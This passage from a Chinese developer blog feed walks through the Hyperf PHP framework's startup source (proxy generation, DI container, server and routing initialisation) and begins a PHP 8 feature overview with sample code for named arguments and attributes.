title="生成代理类"></a>生成代理类</h6><p><strong>1. 通过反射类初始化代理</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$this->initProxiesByReflectionClassMap($this->classMap)</span><br></pre></td></tr></table></figure><p>需要生成代理类的有两种文件</p><ul><li>文件是被切面的class,如</li><li>文件内有被切面的annotations</li></ul><p>遍历所有的classmap,符合上述条件的类,最后都放到<code>$proxies</code>中,示例:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">array(2) {</span><br><span class="line"> ["App\Controller\AbstractController"]=></span><br><span class="line"> array(1) {</span><br><span class="line"> [0]=></span><br><span class="line"> string(33) "Hyperf\Di\Annotation\InjectAspect"</span><br><span class="line"> }</span><br><span class="line"> ["App\Controller\IndexController"]=></span><br><span class="line"> array(1) {</span><br><span class="line"> [0]=></span><br><span class="line"> string(33) "Hyperf\Di\Annotation\InjectAspect"</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><strong>2. 生成代理文件</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$this->generateProxyFiles()</span><br></pre></td></tr></table></figure><ul><li>这里的是使用<code>nikic/php-parser</code>生成代理类文件,贼强大</li><li><a href="https://www.bilibili.com/video/BV1ST411u7rk">https://www.bilibili.com/video/BV1ST411u7rk</a> 李铭昕大佬的aop讲解</li></ul><h6 id="生成扫描缓存-scan-cache"><a href="#生成扫描缓存-scan-cache" class="headerlink" title="生成扫描缓存 scan.cache"></a>生成扫描缓存 scan.cache</h6><ul><li>生成扫描缓存文件,父进程要读这个文件</li><li>exit标志着该子进程结束</li></ul><h5 id="scanned-true-父进程"><a href="#scanned-true-父进程" class="headerlink" title="$scanned === true 父进程"></a>$scanned === true 父进程</h5><ul><li>读取<code>scan.cache</code></li><li>给每个<code>collector</code>添加扫描结果</li></ul><h3 id="LazyLoader"><a href="#LazyLoader" class="headerlink" title="LazyLoader"></a>LazyLoader</h3><ul><li>注册了一个自动加载,优先级置顶 <code>\Hyperf\Di\LazyLoader\LazyLoader::load</code></li><li>加载类时,如果配置文件存在或者是HyperfLazy开头的类,才会进行代理类的生成,而不是一开始就生成,大部分情况下,是请求过来的时候,这个类才会走上面的一些步骤去生成代理</li></ul><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><ul><li>代理composer加载器</li><li>注解收集器</li><li>切面收集器</li><li><strong>生成代理类</strong>。这一步决定着hyperf的注解与切面的实现</li><li>懒加载优先</li></ul><h2 id="加载容器container"><a href="#加载容器container" class="headerlink" title="加载容器container"></a>加载容器container</h2><h3 id="定义源工厂"><a href="#定义源工厂" class="headerlink" title="定义源工厂"></a>定义源工厂</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">(new DefinitionSourceFactory(true))()</span><br></pre></td></tr></table></figure><h4 id="先看结果"><a href="#先看结果" class="headerlink" title="先看结果"></a>先看结果</h4><p>这里是把ConfigProvider和config/auto/dependencies.php合并起来,进行DI源的初始化</p><p>看下source,这里只截取了<code>ApplicationInterface</code>和<code>StdoutLoggerInterface</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">array(22) {</span><br><span class="line">。。。略</span><br><span class="line"> ["Hyperf\Contract\ApplicationInterface"]=></span><br><span class="line"> string(35) "Hyperf\Framework\ApplicationFactory"</span><br><span class="line"> ["Hyperf\Contract\StdoutLoggerInterface"]=></span><br><span class="line"> string(36) "Hyperf\Framework\Logger\StdoutLogger"</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>经过autowire之后</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line">array(22) {</span><br><span class="line">。。。略</span><br><span class="line"> ["Hyperf\Contract\ApplicationInterface"]=></span><br><span class="line"> object(Hyperf\Di\Definition\FactoryDefinition)#73 (4) {</span><br><span class="line"> ["name":"Hyperf\Di\Definition\FactoryDefinition":private]=></span><br><span class="line"> string(36) "Hyperf\Contract\ApplicationInterface"</span><br><span class="line"> ["factory":"Hyperf\Di\Definition\FactoryDefinition":private]=></span><br><span class="line"> string(35) "Hyperf\Framework\ApplicationFactory"</span><br><span class="line"> ["parameters":"Hyperf\Di\Definition\FactoryDefinition":private]=></span><br><span class="line"> array(0) {</span><br><span class="line"> }</span><br><span class="line"> ["needProxy":"Hyperf\Di\Definition\FactoryDefinition":private]=></span><br><span class="line"> bool(false)</span><br><span class="line"> }</span><br><span class="line"> ["Hyperf\Contract\StdoutLoggerInterface"]=></span><br><span class="line"> object(Hyperf\Di\Definition\ObjectDefinition)#74 (5) {</span><br><span class="line"> ["constructorInjection":protected]=></span><br><span class="line"> object(Hyperf\Di\Definition\MethodInjection)#77 (2) {</span><br><span class="line"> ["methodName":"Hyperf\Di\Definition\MethodInjection":private]=></span><br><span class="line"> string(11) "__construct"</span><br><span class="line"> ["parameters":"Hyperf\Di\Definition\MethodInjection":private]=></span><br><span class="line"> array(1) {</span><br><span class="line"> [0]=></span><br><span class="line"> object(Hyperf\Di\Definition\Reference)#81 (3) {</span><br><span class="line"> ["name":"Hyperf\Di\Definition\Reference":private]=></span><br><span class="line"> string(0) ""</span><br><span class="line"> ["targetEntryName":"Hyperf\Di\Definition\Reference":private]=></span><br><span class="line"> string(31) "Hyperf\Contract\ConfigInterface"</span><br><span class="line"> ["needProxy":"Hyperf\Di\Definition\Reference":private]=></span><br><span class="line"> bool(false)</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> ["name":"Hyperf\Di\Definition\ObjectDefinition":private]=></span><br><span class="line"> string(37) "Hyperf\Contract\StdoutLoggerInterface"</span><br><span class="line"> ["className":"Hyperf\Di\Definition\ObjectDefinition":private]=></span><br><span class="line"> string(36) "Hyperf\Framework\Logger\StdoutLogger"</span><br><span class="line"> ["classExists":"Hyperf\Di\Definition\ObjectDefinition":private]=></span><br><span class="line"> bool(true)</span><br><span class="line"> ["instantiable":"Hyperf\Di\Definition\ObjectDefinition":private]=></span><br><span class="line"> bool(true)</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>猜想:通过上面的结果可以看到,di做了一个映射,后续再get的时候,应该就是用里面的值</p><h4 id="normalizeDefinition-规范化di"><a href="#normalizeDefinition-规范化di" class="headerlink" title="normalizeDefinition 规范化di"></a>normalizeDefinition 规范化di</h4><ul><li>类里面存在<code>__invoke</code>或者是<code>匿名函数</code>,那使用<code>\Hyperf\Di\Definition\FactoryDefinition</code>初始化</li><li>其余都是<code>\Hyperf\Di\Definition\ObjectDefinition</code></li><li>类里面的__construct,会生成<code>\Hyperf\Di\Definition\MethodInjection</code></li><li>__construct里面的参数,会生成<code>Hyperf\Di\Definition\Reference</code></li></ul><h4 id="将规范化的di,注入到容器"><a href="#将规范化的di,注入到容器" class="headerlink" title="将规范化的di,注入到容器"></a>将规范化的di,注入到容器</h4><ul><li>definitionSource 上面的normalizeDefinition</li><li>definitionResolver 解析调度器,那几个Definition的调度器</li><li>resolvedEntries 已经解决的依赖</li></ul><h3 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h3><ul><li>初始化di,定义好dependencies源</li><li>利用初始化的di生成容器</li><li>容器很强大,等会用ApplicationInterface来示例是如何从容器中get</li><li>在这之后,就已经可以通过容器去get其他类了,di会帮你完成一切</li></ul><h2 id="get-获取application"><a href="#get-获取application" class="headerlink" title="get 获取application"></a>get 获取application</h2><blockquote><p>这里将会展示di是如何运行的</p></blockquote><ul><li>了解过依赖注入相关知识的,其实每个框架都差不多</li><li><a href="https://learnku.com/docs/laravel-core-concept/5.5/%E4%BE%9D%E8%B5%96%E6%B3%A8%E5%85%A5,%E6%8E%A7%E5%88%B6%E7%BF%BB%E8%BD%AC,%E5%8F%8D%E5%B0%84/3017">https://learnku.com/docs/laravel-core-concept/5.5/%E4%BE%9D%E8%B5%96%E6%B3%A8%E5%85%A5,%E6%8E%A7%E5%88%B6%E7%BF%BB%E8%BD%AC,%E5%8F%8D%E5%B0%84/3017</a> 可以看下laravel的一些示例</li><li>简单的来说,就是拿到构造中的类去反射出来,递归实现make</li></ul><h3 id="get"><a href="#get" class="headerlink" title="get()"></a>get()</h3><p>判断是否已经解决过依赖了,如果有,就直接返回</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">if (isset($this->resolvedEntries[$name]) || array_key_exists($name, $this->resolvedEntries)) {</span><br><span class="line"> return $this->resolvedEntries[$name];</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这里的写法很有意思,isset和array_key_exists都有用上</p><ul><li><a href="https://segmentfault.com/a/1190000016613073">https://segmentfault.com/a/1190000016613073</a></li><li><a href="https://stackoverflow.com/questions/3210935/whats-the-difference-between-isset-and-array-key-exists">https://stackoverflow.com/questions/3210935/whats-the-difference-between-isset-and-array-key-exists</a></li><li>简单的说,就是isset性能优于array_key_exists,但是isset为null时,就false了,所以为了保证数据的有效性与性能,中和使用得出的方案</li></ul><h3 id="make"><a href="#make" class="headerlink" title="make()"></a>make()</h3><p><strong>1. 先获取di源,主要是为了那些未加载到dependencies源的类</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$definition = $this->getDefinition($name);</span><br></pre></td></tr></table></figure><p><strong>2. 依赖注入解决</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$this->resolveDefinition($definition, $parameters);</span><br></pre></td></tr></table></figure><ul><li><p>先是\Hyperf\Di\Resolver\ResolverDispatcher::resolve,这里了定义一个<code>DepthGuard 递归深度</code><br>是为了防止出现死循环,依赖注入的时候,有时候会写出循环依赖的问题,这里定义了最大深度为500,也就是说,我们项目里面如果有超过500层的di,也不会执行成功。哈哈哈哈,项目里面应该不会出现吧</p></li><li><p>进行强大的di,细节就不展示了,反射拿到定义源,继续get的时候,又会回到ObjectDefinition,递归一直new下去,实例化所有的__construct参数,直到构造里面再也没有DefinitionInterface为止</p></li><li><p>如果是一个FactoryDefinition形式的类,那么在解析的时候,是执行了factory的__invoke</p></li><li><p>简单的说,di就是一个递归、反射、实例的过程,利用程序,实现构造自动注入</p></li><li><p>在hyperf里面,aop和annotations,是利用代理类进行操作的,代理类里面的__construct也会定义好依赖的类,再利用di进行一个get</p></li></ul><blockquote><p>所以ApplicationInterface在get的时候,实际上是运行了\Hyperf\Framework\ApplicationFactory::__invoke()方法来生成一个Application</p></blockquote><h3 id="ApplicationFactory的创建"><a href="#ApplicationFactory的创建" class="headerlink" title="ApplicationFactory的创建"></a>ApplicationFactory的创建</h3><p><strong>1. 触发\Hyperf\Framework\Event\BootApplication事件</strong></p><p>搜索源码发现,有这几个内置的监听</p><ul><li>\Hyperf\Config\Listener\RegisterPropertyHandlerListener 注册了一个Value注解的回调</li><li>\Hyperf\DbConnection\Listener\RegisterConnectionResolverListener 注册数据库连接解析器</li><li>\Hyperf\ExceptionHandler\Listener\ErrorExceptionHandler 设置用户自定义的错误处理函数,规定发生错误时运行的函数</li><li>\Hyperf\ExceptionHandler\Listener\ExceptionHandlerListener 利用优先队列注册了异常处理器</li></ul><p><strong>2. command命令</strong></p><ul><li>注解和配置文件合并</li><li>利用symfony/console组件,注册所有的command</li></ul><blockquote><p>这一步骤,已经结束了php bin/hyperf.php</p></blockquote><h3 id="总结-2"><a href="#总结-2" class="headerlink" title="总结"></a>总结</h3><ul><li>从容器中获取Application</li><li>注册命令行</li></ul><h2 id="Start"><a href="#Start" class="headerlink" title="Start"></a>Start</h2><blockquote><p>从command命令得知,start的文件为Hyperf\Server\Command\StartServer</p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">protected function execute(InputInterface $input, OutputInterface $output)</span><br><span class="line">{</span><br><span class="line"> // 检查当前环境是否满足swoole运行</span><br><span class="line"> $this->checkEnvironment($output);</span><br><span class="line"></span><br><span class="line"> // 初始化 服务工厂</span><br><span class="line"> $serverFactory = $this->container->get(ServerFactory::class)</span><br><span class="line"> ->setEventDispatcher($this->container->get(EventDispatcherInterface::class))</span><br><span class="line"> ->setLogger($this->container->get(StdoutLoggerInterface::class));</span><br><span class="line"></span><br><span class="line"> // 加载 服务配置</span><br><span class="line"> $serverConfig = $this->container->get(ConfigInterface::class)->get('server', []);</span><br><span class="line"> if (! $serverConfig) {</span><br><span class="line"> throw new InvalidArgumentException('At least one server should be defined.');</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> // 通过配置初始化 服务</span><br><span class="line"> $serverFactory->configure($serverConfig);</span><br><span class="line"></span><br><span class="line"> // 一键化协程</span><br><span class="line"> Coroutine::set(['hook_flags' => swoole_hook_flags()]);</span><br><span class="line"></span><br><span class="line"> // 启动服务</span><br><span class="line"> $serverFactory->start();</span><br><span class="line"></span><br><span class="line"> return 0;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="服务配置-Hyperf-Server-ServerConfig"><a href="#服务配置-Hyperf-Server-ServerConfig" class="headerlink" title="服务配置 \Hyperf\Server\ServerConfig"></a>服务配置 \Hyperf\Server\ServerConfig</h3><p>相当于把 config/autoload/server.php 转化为类 (实体?),方便获取与操作</p><p>具体要启动什么服务,都是靠着这个配置文件进行,默认的server启动方式是\Hyperf\Server\Server</p><ul><li>\Hyperf\Server\Server <a href="https://wiki.swoole.com/#/server/init">异步风格</a></li><li>\Hyperf\Server\CoroutineServer <a href="https://hyperf.wiki/2.2/#/zh-cn/coroutine-server?id=%e5%8d%8f%e7%a8%8b%e9%a3%8e%e6%a0%bc%e6%9c%8d%e5%8a%a1">协程风格服务</a></li><li>\Hyperf\Server\SwowServer 最新的swow</li></ul><h3 id="初始化服务-Hyperf-Server-Server-initServers"><a href="#初始化服务-Hyperf-Server-Server-initServers" class="headerlink" title="初始化服务 \Hyperf\Server\Server::initServers"></a>初始化服务 \Hyperf\Server\Server::initServers</h3><p>遍历服务配置,一个一个实例相应的类</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">switch ($type) {</span><br><span class="line"> case ServerInterface::SERVER_HTTP:</span><br><span class="line"> return new SwooleHttpServer($host, $port, $mode, $sockType);</span><br><span class="line"> case ServerInterface::SERVER_WEBSOCKET:</span><br><span class="line"> return new SwooleWebSocketServer($host, $port, $mode, $sockType);</span><br><span class="line"> case ServerInterface::SERVER_BASE:</span><br><span class="line"> return new SwooleServer($host, $port, $mode, $sockType);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>注册一些swoole的事件</p><blockquote><p><a href="https://wiki.swoole.com/#/server/events">https://wiki.swoole.com/#/server/events</a></p></blockquote><ul><li>start事件 [Hyperf\Framework\Bootstrap\StartCallback, onStart]</li><li>managerStart事件 [Hyperf\Framework\Bootstrap\ManagerStartCallback, onManagerStart]</li><li>workerStart事件 [Hyperf\Framework\Bootstrap\WorkerStartCallback, onWorkerStart]</li><li>workerStop事件 [Hyperf\Framework\Bootstrap\WorkerStopCallback, onWorkerStop]</li><li>workerExit事件 [Hyperf\Framework\Bootstrap\WorkerExitCallback, onWorkerExit]</li><li>pipeMessage事件 [Hyperf\Framework\Bootstrap\PipeMessageCallback, onPipeMessage]</li><li>request事件 [Hyperf\HttpServer\Server, onRequest]</li></ul><h3 id="request事件-Hyperf-HttpServer-Server-onRequest"><a href="#request事件-Hyperf-HttpServer-Server-onRequest" class="headerlink" title="request事件 [Hyperf\HttpServer\Server, onRequest]"></a>request事件 [Hyperf\HttpServer\Server, onRequest]</h3><p>除了注册该事件,还会触发\Hyperf\HttpServer\Server::initCoreMiddleware</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"> public function initCoreMiddleware(string $serverName): void</span><br><span class="line">{</span><br><span class="line"> $this->serverName = $serverName;</span><br><span class="line"> // 创建内核中间件</span><br><span class="line"> $this->coreMiddleware = $this->createCoreMiddleware();</span><br><span class="line"> // 上面这个内核中间件已经初始化了一次,这一行其实没用</span><br><span class="line"> $this->routerDispatcher = $this->createDispatcher($serverName);</span><br><span class="line"></span><br><span class="line"> $config = $this->container->get(ConfigInterface::class);</span><br><span class="line"> // 初始化配置的中间件</span><br><span class="line"> $this->middlewares = $config->get('middlewares.' . $serverName, []);</span><br><span class="line"> // 初始化异常处理器</span><br><span class="line"> $this->exceptionHandlers = $config->get('exceptions.handler.' . $serverName, $this->getDefaultExceptionHandler());</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><strong>createCoreMiddleware</strong></p><p>关注点:\Hyperf\HttpServer\Router\DispatcherFactory::__construct</p><blockquote><p>初始化路由的时候,也会顺便把中间件也一起定义了</p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">// 初始化注解路由,即AutoController和Controller</span><br><span class="line">$this->initAnnotationRoute(AnnotationCollector::list());</span><br><span class="line">// 初始化配置路由</span><br><span class="line">$this->initConfigRoute();</span><br></pre></td></tr></table></figure><h3 id="总结-3"><a href="#总结-3" class="headerlink" title="总结"></a>总结</h3><ul><li>通过配置文件来定义启动什么服务</li><li>初始化路由调度器、中间件,用于请求分发到各个controller</li></ul>]]></content>
<summary type="html">
<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" cla
</summary>
<category term="分享" scheme="https://blog.lihq.xyz/categories/%E5%88%86%E4%BA%AB/"/>
<category term="php" scheme="https://blog.lihq.xyz/tags/php/"/>
<category term="hyperf" scheme="https://blog.lihq.xyz/tags/hyperf/"/>
</entry>
<entry>
<title>php8的新特性 浅过一下</title>
<link href="https://blog.lihq.xyz/2022/07/09/php8-new-features-briefly/"/>
<id>https://blog.lihq.xyz/2022/07/09/php8-new-features-briefly/</id>
<published>2022-07-09T05:30:00.000Z</published>
<updated>2025-09-18T07:56:12.967Z</updated>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><h1 id="php8的新特性-浅过一下"><a href="#php8的新特性-浅过一下" class="headerlink" title="php8的新特性 浅过一下"></a>php8的新特性 浅过一下</h1><blockquote><p>php8都出了这么久,还没仔细看过文档,知道一些常用特性,今天浅过一下官网着重介绍的一些知识点吧</p></blockquote><h2 id="8-0"><a href="#8-0" class="headerlink" title="8.0"></a>8.0</h2><blockquote><p><a href="https://www.php.net/releases/8.0/zh.php">https://www.php.net/releases/8.0/zh.php</a></p></blockquote><h3 id="命名参数"><a href="#命名参数" class="headerlink" title="命名参数"></a>命名参数</h3><blockquote><p>命名参数允许基于参数名称(而不是参数位置)将参数传递给函数。 这使得自变量的含义可以自动记录,使自变量与顺序无关,并允许任意跳过默认值。</p></blockquote><p>这里就是对原来的参数,进行了命名,外部传入时,可无顺序的进行传参</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">function named_params(int $a, int $b, int $c = 0, int $d = 0)</span><br><span class="line">{</span><br><span class="line"> echo "a:{$a} b:{$b} c:{$c} d:{$d}" . PHP_EOL;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">named_params(1, 2, 3, 4); // a:1 b:2 c:3 d:4</span><br><span class="line">named_params(a: 1, b: 2, c: 3, d: 4); // a:1 b:2 c:3 d:4</span><br><span class="line">named_params(1, 2, c: 3, d: 4); // a:1 b:2 c:3 d:4</span><br><span class="line"></span><br><span class="line">// 完全打乱顺序</span><br><span class="line">named_params(d: 4, c: 3, b: 2, a: 1); // a:1 b:2 c:3 d:4</span><br><span class="line"></span><br><span class="line">// 可选参数在必填参数前</span><br><span class="line">//named_params(c: 3, d: 4, 1, 2); // PHP Fatal error: Cannot use positional argument after named argument</span><br><span class="line"></span><br></pre></td></tr></table></figure><ul><li>完全打乱顺序的情况下,ide会有顺序的校验,虽然也能用,但是下划线看着不舒服,建议还是按顺序进行传参</li><li>有了这个功能,对于一些有默认值的方法,可以只修改一个默认值,就比较舒服了,不用像以前那样还需要按顺序填上默认值</li><li>最大的好处是传入参数的顺序是和定义无关的,而且还可以混合传参(但不建议)</li><li>对于代码的可读性来说,有了命名,更加直观了</li></ul><h3 id="注解"><a href="#注解" class="headerlink" title="注解"></a>注解</h3><blockquote><p>可以用 PHP 原生语法来使用结构化的元数据,而非 PHPDoc 声明。</p></blockquote><ul><li>之前要使用注解,是通过phpdoc去解析,强大的<a href="https://github.com/doctrine/annotations">doctrine/annotations</a></li><li>8之后支持原生注解啦,#[Attribute]</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">#[Attribute]</span><br><span class="line">class DemoAttribute1</span><br><span class="line">{</span><br><span class="line"> public function __construct(public string $value)</span><br><span class="line"> {</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">#[Attribute]</span><br><span class="line">class DemoAttribute2</span><br><span class="line">{</span><br><span class="line"> public function __construct(public string $value)</span><br><span class="line"> {</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">#[DemoAttribute1(value: 'demo1')]</span><br><span class="line">#[DemoAttribute2(value: 'demo2')]</span><br><span class="line">class AttributeTest</span><br><span class="line">{</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">$class = new ReflectionClass(AttributeTest::class);</span><br><span class="line">$attributes = $class->getAttributes();</span><br><span class="line"></span><br><span class="line">foreach ($attributes as $attribute) {</span><br><span class="line"> var_dump($attribute->getName());</span><br><span class="line"> var_dump($attribute->getArguments());</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">/*</span><br><span class="line"> string(14) "DemoAttribute1"</span><br><span class="line"> array(1) {</span><br><span class="line"> ["value"]=></span><br><span class="line"> string(5) "demo1"</span><br><span class="line"> }</span><br><span class="line"> string(14) "DemoAttribute2"</span><br><span class="line"> array(1) {</span><br><span class="line"> ["value"]=></span><br><span class="line"> string(5) "demo2"</span><br><span class="line"> }</span><br><span class="line"> */</span><br></pre></td></tr></table></figure><table><thead><tr><th>Attribute</th><th>说明</th></tr></thead><tbody><tr><td>Attribute::TARGET_CLASS</td><td>类</td></tr><tr><td>Attribute::TARGET_FUNCTION</td><td>函数</td></tr><tr><td>Attribute::TARGET_METHOD</td><td>方法</td></tr><tr><td>Attribute::TARGET_PROPERTY</td><td>属性</td></tr><tr><td>Attribute::TARGET_CLASS_CONSTANT</td><td>类常量</td></tr><tr><td>Attribute::TARGET_PARAMETER</td><td>参数</td></tr><tr><td>Attribute::TARGET_ALL</td><td>所有</td></tr><tr><td>Attribute::IS_REPEATABLE</td><td>允许多次声明</td></tr></tbody></table><ul><li><p>Attribute::TARGET_CLASS</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">#[Attr('foo')]</span><br><span class="line">class Example {}</span><br></pre></td></tr></table></figure></li><li><p>Attribute::TARGET_FUNCTION</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">#[Attr('foo')]</span><br><span class="line">function example(){}</span><br><span class="line"></span><br><span class="line">$fn = #[Attr('foo')] fn() => 1 > 2;</span><br><span class="line"></span><br><span class="line">$fn = #[Attr('foo')] function() {</span><br><span class="line"> return 1 > 2;</span><br><span class="line">}</span><br></pre></td></tr></table></figure></li><li><p>Attribute::TARGET_METHOD</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">class Foo </span><br><span class="line">{</span><br><span class="line"> #[Attr('bar')]</span><br><span class="line"> public function bar(){}</span><br><span class="line">}</span><br></pre></td></tr></table></figure></li><li><p>Attribute::TARGET_PROPERTY</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">class Foo {</span><br><span class="line"> #[Attr('foo')]</span><br><span class="line"> private string $foo;</span><br><span class="line">}</span><br></pre></td></tr></table></figure></li><li><p>Attribute::TARGET_CLASS_CONSTANT</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">class Foo {</span><br><span class="line"> #[Attr('foo')]</span><br><span class="line"> private const FOO = 'foo';</span><br><span class="line">}</span><br></pre></td></tr></table></figure></li><li><p>Attribute::TARGET_PARAMETER</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">function example(#[Attr('foo')] string $foo) {}</span><br></pre></td></tr></table></figure></li></ul><h3 id="构造器属性提升"><a href="#构造器属性提升" class="headerlink" title="构造器属性提升"></a>构造器属性提升</h3><blockquote><p>构造器的参数也可以相应提升为类的属性</p></blockquote><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span 